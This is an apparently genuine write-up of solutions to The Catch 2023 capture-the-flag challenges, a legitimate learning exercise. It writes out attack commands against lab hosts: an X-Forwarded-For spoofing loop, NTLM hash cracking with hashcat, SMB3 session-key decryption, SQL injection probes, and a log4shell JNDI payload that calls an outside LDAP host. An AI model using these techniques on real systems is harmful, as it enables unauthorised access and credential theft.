This year we set off on an adventure with The Catch competition, sail the seas and get sea-themed challenges. If you are interested in how I solved some of them, you are at the right place.
Not bragging, but I got first blood (was the first one to solve) the Ship web server and Suspicious traffic challenges. Yay that feels good to be better than you! (just kidding; you guys are awesome and I admire those who got farther than me, especially The Legendary Top 30 players)
Joking/bragging aside, apart from competing, The Catch is all about learning about cybersecurity. I hope this (partial) writeup will be useful for those who got stuck in some of the challenges, or at least an interesting read for others. Perhaps someone in the future even bumps into this writeup when searching for a solution to a problem they are struggling with. (Hello random visitor from the future! I hope you find what you are looking for!)
Huge thanks to the organizers! I can't believe it has been already 7 years (really?) since the first The Catch. It was fun every year, and I hope to participate again next year, hopefully with more time to dedicate to the competition.
That's all I wanted to say. Happy reading!
-- rendm
P.S. Greetings to atx, CEO, had, JaGoTu and Jakluk!
- Ship web server
- Treasure map
- Captain's coffee
- Cat code
- Component replacement
- Suspicious traffic
- Keyword of the day
- Web protocols
We are given a http(s) URL of a web server with a task to see if there is more to it than just a simple webpage.
The footer of the website contains a suspiciously long string ver. [some letters and numbers]
, disguising as an alleged version of the webapp. After decoding from base 64 (e.g. with CyberChef), we get the following:
FLAG{ - - - }
This is nice, but the empty spaces are just space characters (0x20). There does not seem to be a way to convince the website to print the full flag (e.g. sending a specific request etc.).
A hint points us to look at the server's certificate. The server certificate contains the following Subject Alternative Names:
- www.cns-jv.tcc (this is the one we were given)
- documentation.cns-jv.tcc
- home.cns-jv.tcc
- pirates.cns-jv.tcc
- structure.cns-jv.tcc
The last four are new to us. Let's explore them.
Just putting the addresses to a web browser's address bar does not work (DNS A records do not exist for those hostnames), but trying the same IP address as the www.cns-jv.tcc
for other hostnames (e.g. using an override in /etc/hosts) gives us the server's response for given hostnames.
We get different websites, each of which contains a part of the flag at the same place as before (in the footer), again encoded with Base64:
home.cns-jv.tcc
contains a list of users and their website, which we can't access, but the footer contains a version string which decodes to the flag with the first gap filled.structure.cns-jv.tcc
hat the page footerRkxBR3sgICAgLSAgICAtICAgIC1nTXdjfQ==
which decodes toFLAG{ -plmQ- - }
- Similarly,
pirates.cns-jv.tcc
's footer saysRkxBR3sgICAgLSAgICAtUTUzQy0gICAgfQ
which decodes to the flag with the third gap filled:FLAG{ - -Q53C- }
. documentation.cns-jv.tcc
prints an unauthorized access message, but the footer is there. This time it can't be easily selected and copied and is not contained in the HTML source, but rather in the CSSsmall::before
pseudoclass(?) definition, from which it can be copied.RkxBR3tlamlpLSAgICAtICAgIC0gICAgfQ
decodes toFLAG{ - - -gMwc}
.
All that remains is to combine them into one string: FLAG{ejii-plmQ-Q53C-gMwc}
We get an image of a treasure map with two large islands a path drawn in the sea around them.
Looking at the map closely, there are small, letters written along the path. Reading them gives us the flag.
FLAG{WIFI-AHEA-DCAP-TAIN}
We get a HTTP JSON API endpoint of a "coffee maker", our task is to prepare good coffee for the captain.
Making a request to /
points us to a documentation at /docs
, which says that GET /coffeeMenu
lists available drinks, and POST /makeCoffee
should make a selected drink by providing a selected drink_id
.
From the menu of available drinks (mostly boring regular coffee types), only "Naval Espresso with rum" sounds interesting:
{"drink_name":"Naval Espresso with rum","drink_id":501176144}
Asking the coffee maker to make this coffee with a correct request
wget -q -O- --post-data '{"drink_id": 501176144}' --header "Content-Type: application/json" http://coffee-maker.cns-jv.tcc/makeCoffee
rewards us with the flag:
FLAG{ccLH-dsaz-4kFA-P7GC}
We get two Python scripts meowmeow.py
and meow.py
, allegedly written by a cat (due to lack of developers on board), which should generate an access code. The goal is to understand and fix the scripts so they produce the access code.
The entry point is meowmeow.py
: it checks the standard input for correctness of a hardcoded password (kittens
), sums its letters' ord()
values and passes the value to the meow
function, whose result (770
) is passed to meowmeow
function and finally printed. (Both mentioned function are imported from meow.py
.)
Running the script seems to take forever so more understanding and optimization/fixing is needed.
meow.py
contains a list of lists meeow
:
meeow = [
[80, 81],
[-4, 13],
[55, 56],
[133, 134],
[-8, -7, -5],
[4, 5],
[5, 6],
[6, 7],
[7, 8],
[15, -1],
[11, 12],
[13, 14],
[17, 18],
[18, 19],
[15, 21],
[22, 23],
[26, 27],
[44, 45],
[48, 49],
[31, -29],
[50, 51],
[60, 61],
[72, 73],
[73, 74],
[19, 2, 20]]
... this is the only place in the provided code that seems to contain enough entropy ~ non-trivial info from which the flag could be somehow decoded. Indeed, in the meowmeow
function it is used as indices into the long number that gets passed to it (from the meow
function):
def meowmeow(longnumber):
output = ''
for sublist in meeow:
# append one character
output = f"{output}{
chr(
int(
''.join(
# lookup digits at positions hardcoded in meeow
str(longnumber)[m] for m in sublist
)
) # assemble the digits into one int
) # convert int to character
}"
return output
Each sublist from meeow
gets translated into one letter by looking up digits in meow
's output at positions defined by the sublist, concatenating these digits and converting them to a character.
These letters are concatenated to produce the output (flag).
All that remains is to understand the meow
function.
After a cleanup of unnecessary print
statements and some refactoring, the function meow
appears to be suspiciously similar to the recursive implementation of a function to compute the n-th element of the Fibonacci sequence. While mathematically nice, this implementation is painfully slow. Even memoization with @functools.lru_cache
decorator (caching function outputs for known inputs to avoid repeated calls) did not seem to speed it up enough. A faster "loop" implementation was needed:
def meow(N):
pre_last = 0;
last = 1;
i = 2
while i <= N:
next = pre_last + last;
pre_last = last;
last = next;
i = i+1
return last
Using this implementation, the 770th Fibonacci number (37238998302736542981557591720664221323221262823569669806574084338006722578252257702859727311771517744632859284311258604707327062313057129673010063900204812137985) is computed instantly, and running the optimized code produces the flag.
FLAG{YcbS-IAbQ-KHRE-BTNR}
The goal is to access a website (parts database), which seems to (dis)allow access based on the IP address the request came from. After gaining access, we should look for information about a part called fuel efficiency enhancer. We are given a URL and an IP range (192.168.96.0/20) which should contain the allowed IP address(es).
One way to make a web server think the request came from a different IP address is by using the X-Forwarded-For
header. (I think this header is meant to be used by (reverse)proxy servers to inform the backend web server of the request's origin. When a webserver is configured improperly, accepting the X-Forwarded-For
header from anywhere, this can be used to spoof the origin of the request.) Fortunately, the web server's access denied message contains the IP address the server thinks the request originated from. This helps us confirm that an IP address provided in the X-Forwarded-For
header is indeed being treated as the source IP.
Now we just need to test which address(es) from the provided range is/are the allowed one(s) and use such valid IP to make the request. After computing the from-to IP range from the /20
range (using an online IP subnet calculator to avoid manual errors, and also because of laziness), we can automate the testing of 4096 addresses with a bash one-liner:
for j in {96..111}; do for i in {0..255}; do curl 'http://key-parts-list.cns-jv.tcc/' -H 'X-Forwarded-For: 192.168.'$j'.'$i; echo; done; done
Notes: If the IP range was larger, this would deserve a more efficient solution, but even this does the job. More output filtering could be done to make the output more readable, like not printing the access denied messages, or even detecting when the response is NOT the access denied message and stopping the scan... Also, perhaps it would be smarter to iterate first over the third octet of the IP and then over the fourth octet - to cover more ground sooner, assuming a larger range of consecutive IPs is allowed.
Anyways, eventually we get a response which does NOT contain the access denied message. This is the one:
curl 'http://key-parts-list.cns-jv.tcc/' -H 'X-Forwarded-For: 192.168.100.33'
The response contains part names and part numbers like PART{xxxx-xxxx-xxxx-xxxx}
, but next to the part named Fuel efficiency enhancer we see the wanted flag: FLAG{MN9o-V8Py-mSZV-JkRz}
We are given a packet capture to analyze and confirm if a file secret.db
was exfiltrated, and get its content.
At the first glance the pcap contains some DNS and HTTP traffic, some SMB traffic (james
's transfer of SQLite databases employees.db
and history.db
- neither seems directly useful), and some "raw TCP data":
Acually some of the "raw TCP data" are two(?) FTP transfers: user james
with PASS james.f0r.FTP.3618995
is transferring some files:
- "tcp.stream eq 6" is
home.tgz
:- it is a dump of a user's home directory:
.bash_history
contains a mention ofsecret.db
ecryption including the password:
- it is a dump of a user's home directory:
openssl enc -aes-256-cbc -salt -pbkdf2 -in secret.db -out secret.db.enc -k R3alyStr0ngP4ss!
... that looks useful, but where is the actual (encrypted) file?
- "tcp.stream eq 7" is
etc.tgz
, which does not seem to contain any relevant information, just a dump of/etc
.
There is another SMB transfer: user LCOAL.TCC\james_admin
transfers something of size ~10kB, but the transfer is encrypted this time, and using SMB3. We need to decrypt it; perhaps the password is similar (same format) to the one for FTP?
We can isolate this connection ("ip.addr==172.20.0.7 && ip.addr==172.20.0.6") into a separate file e.g. suspicious_traffic_only_smb6-7.pcap
for simplicity. (I did that only later for the decryption, which I regret - I could have skipped cracking the non-admin passowrd and accidentally using it in the session key generation script, which made me wonder for a while why the key does not work...)
Using NTLMRawUnHide to extract crackable NTLM hashes from the captured traffic and hashcat
to do the cracking, we can test this theory:
./NTLMRawUnHide.py -i suspicious_traffic.pcap -o suspicious_traffic.pcap.hashes
hashcat -a 3 suspicious_traffic.pcap.hashes james.f0r.SMB.?d?d?d?d?d?d?d
# this finishes under 1 minute on a 2019-ish laptop's CPU and finds the password "james.f0r.SMB.4663158"
# similarly with "james_admin.f0r.SMB.?d?d?d?d?d?d?d", which is the password we actually want to crack: "james_admin.f0r.SMB.8089078"
Since SMB3 is not trivial to decrypt, we can follow this post for a HOWTO. We can run this script, providing it with the password and other required information that can be found in the captured traffic to compute the session key needed for decryption:
python3 ./random_session_key_calc.py \
--user james_admin \
--domain local.tcc \
--password 'james_admin.f0r.SMB.8089078' \
--ntproofstr 8bc34ae8e76fe9b8417a966c2f632eb4 \
--key 4292dac3c7a0510f8b26c969e1ef0db9 \
--verbose
Then we get the following output:
USER+DOMAIN: JAMES_ADMINLOCAL.TCC
PASS HASH: 7cf87b641c657bf9e3f75d93308e6db3
RESP NT: a154f31a5ecc711694c3e0d064bac78e
NT PROOF: 8bc34ae8e76fe9b8417a966c2f632eb4
KeyExKey: 6a1d3b41cdf3d40f15a6c15b80d567d0
Random SK: 7a93dee25de4c2141657e7037dddb8f1
Now we can decrypt the transfer with tshark
tshark '-ouat:smb2_seskey_list:49b136b900000000,7a93dee25de4c2141657e7037dddb8f1,"",""' -r suspicious_traffic_only_smb6-7.pcap
or put the key to Wireshark config, open the capture and export the file transferred file secret.db.enc
.
Now we have an encrypted file and its key. Let's decrypt it with
openssl enc -aes-256-cbc -d -salt -pbkdf2 -in %5csecret.db.enc -out secret.db -k R3alyStr0ngP4ss!
Note: the LibreSSL version in macOS (and/or in Homebrew?) does not seem to include support for -pbkdf2
. Using openssl
in Debian worked for me.
The resulting secret.db
is a SQLite database with a single table and a single row with the flag.
FLAG{5B9B-lwPy-OfRS-4uEN}
Our goal here is to find a specific web application among other dummy web apps running on the server. Unfortunately we don't know which app is running on which port.
We resort to a thorough scan of all TCP ports:
nmap -v -p1-65535 keyword-of-the-day.cns-jv.tcc
There are 234 (or 235?) open ports.
We can copy nmap
's output (list of open ports) to a text file and filter out just the port numbers with for future use in batch processing:
sed -ibak 's,/.*,,' ports.txt" # delete everything after the "/"
Manually looking at some webapps, they appear identical. One of the dummy websites (the one running on port 60020) was analyzed: an obfuscated script waits between 1 and 7 seconds and then randomly shows one of 3 or 4 emoji images. The response on other ports is sometimes identical to other dummy webapps, but there are multiple versions of the dummy website (e.g. differently obfuscated script doing the same thing).
To avoid manually looking through all of the webapps, we need to automate. Since we know there should be only one real "keyword of the day" webapp, and dummy webapps tend to be non-unique, we can downloaded the responses of the server for each of these open ports, deduplicate the responses, and look at the unique result(s).
Let's download all the webapps' responses (in a clean directory):
for port in $(cat ../ports.txt); do curl http://keyword-of-the-day.cns-jv.tcc:$port > $port.txt; done
Deduplicate/find which responses are unique:
md5sum * | cut -d' ' -f1| sort | uniq -c | sort -n
1 5ed6f38b627a5069f96a9dd93348e424
1 ba78fb78b670b1b1a4c15e525bc3000b
10 0cdb1a721cb7d2493dcb11442c501300
10 1bc21260f4335653ec66931ac9d5a3e7
10 1d489f881a7a44c0c7e5eda97510a77c
[...]
Then find the ports which gave us the unique responses: search the hash in md5sum *
's output.
The webapp on port 60257, rather than showing an emoji image, shows an image with text, pointing to the relative URL, which gives us the flag.
We are given a server hostname to find all webs on, and assemble the flag from the collected information.
First we scan for running webservers:
nmap -v -p1-65535 web-protocols.cns-jv.tcc
I tried various web-related protocols like WebSockets, but all servers ended up being just HTTP servers of different protocol versions.
The following ports were detected by nmap
, let's look at them (some can be opened directly in a web browser, others need a manually crafted request, or perhaps with a suitable tool).
The response is usually a base64-encoded image with cats, sometimes identical to others. The flag is hidden in the SESSION cookie (also base64-encoded). Some notes follow.
- 5009/tcp
nc web-protocols.cns-jv.tcc 5009
GET / HTTP/0.9
HTTP/0.9 200 OK
SESSION=RkxBR3trckx0; iVBORw0KGgoAAAANSUhEUgAAB4AAAAeACAYAAAAvokrGAAAAmmVYSWZNTQAqAAAACAAGARIAAwAAAAEAAQAAARoABQAAAAEAAABWARsABQAAAAEAAABeASgAAwAAAAEAAgAAATEAAgAAABYAAABmh2kABAAAAAEAAAB8AAAAAAAAAEgAAAABAAAASAAAAAFQaXhlbG1hdG9yIFBybyAzLjMuMTMAAAKgAgAEAAAAAQAAB4CgAwAEAAAAAQAAB4AAAAAAa5[...]
base64-decoded session: FLAG{krLt
- 5011/tcp http "/" responds with a base64-encoded PNG image with cats
header Set-Cookie: SESSION=LXJ2YnEtYWJJ
; Path=/
decoded value: -rvbq-abI
- 5020/tcp http different image with cats
header Set-Cookie: SESSION=Ui00MzNBfQ==
; Path=/
decoded value: R-433A}
- 8011/tcp http, identical image to 5011
SESSION=LXJ2YnEtYWJJ
; Path=/
decoded: -rvbq-abI
- 8020/tcp https nginx, identical image to 5020
SESSION=Ui00MzNBfQ==
; Path=/
decoded: R-433A}
The assembled flag is: FLAG{krLt-rvbq-abIR-433A}
Notes for unsolved challenges follow, in case anyone is interested in these. I am looking forward to reading others' writeups to see what the correct solution is.
mysql injection: http://navigation-plan.cns-jv.tcc/image.png?type=column&t=table&id=1
can inject into "SELECT {} FROM {} [something unknown, probably including WHERE id={}]"
can use "--" to skip the rest of the query
but the output is somehow encoded
TODO:
what format?
a16:2023 a$ curl -s 'http://navigation-plan.cns-jv.tcc/image.png?type=10000000000--&t=information_schema.tables--&id=1'|hexdump -C
00000000 d7 4d 34 d3 4d 34 d3 4d |?M4?M4?M|
00000008
a16:2023 a$ curl -s 'http://navigation-plan.cns-jv.tcc/image.png?type=1111111111111111--&t=information_schema.tables--&id=1'|hexdump -C
00000000 d7 5d 75 d7 5d 75 d7 5d 75 d7 5d 75 |?]u?]u?]u?]u|
0000000c
a16:2023 a$ curl -s 'http://navigation-plan.cns-jv.tcc/image.png?type=2222222222222221--&t=information_schema.tables--&id=1'|hexdump -C
00000000 db 6d b6 db 6d b6 db 6d b6 db 6d b5 |?m??m??m??m?|
0000000c
or use blind injection?
suspicious image grumpy_cat.png
TODO
- steghide?
- further explore the palette?
- or try other filenames with dirbuster or similar (hint "security by obscurity" would fit that)
port-scanned ("nmap -v arkanoid.cns-jv.tcc") to find the server port
http://arkanoid.cns-jv.tcc:8000 contains a simple arkanoid/breakout game based on https://breakout.enclavegames.com/lesson10.html, the code contains nothing suspicious, only sends the score to the server when the player wins: apart from formatting, only the following is added:
fetch("/score?data=" + score).then(response => response.json()).then(data => {
console.log(data);
alert(data.message);
}).catch(error => {
console.error('Error:', error);
});
curl 'http://arkanoid.cns-jv.tcc:8000/score?data=15'
{"message": "Nice score !"}
Even am empty "data", or a string (even a ~6kb long one) produces the same result
Possibly old Java, tried basic log4shell with an online tool and locally with "data=${jndi:ldap://10.200.0.9:12345/a}" - no request came
http://arkanoid.cns-jv.tcc:8000/score?data=\
<h1>400 Bad Request</h1>URISyntaxException thrown
seems like a Java webserver (confirmed: header "X-Server: Java/1.8.0_144")
maybe triggered by an unhandled route
same with /score?data="
curl -v 'http://arkanoid.cns-jv.tcc:8000/score?data=asdf'
* Trying 10.99.0.102:8000...
* Connected to arkanoid.cns-jv.tcc (10.99.0.102) port 8000 (#0)
> GET /score?data=asdf HTTP/1.1
> Host: arkanoid.cns-jv.tcc:8000
> User-Agent: curl/8.1.2
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Wed, 04 Oct 2023 23:02:00 GMT
< Content-type: application/json; charset=UTF-8
< X-server: Java/1.8.0_144
< Content-length: 27
<
* Connection #0 to host arkanoid.cns-jv.tcc left intact
{"message": "Nice score !"}
maybe the server is vulnerable in another way? or I just tested improperly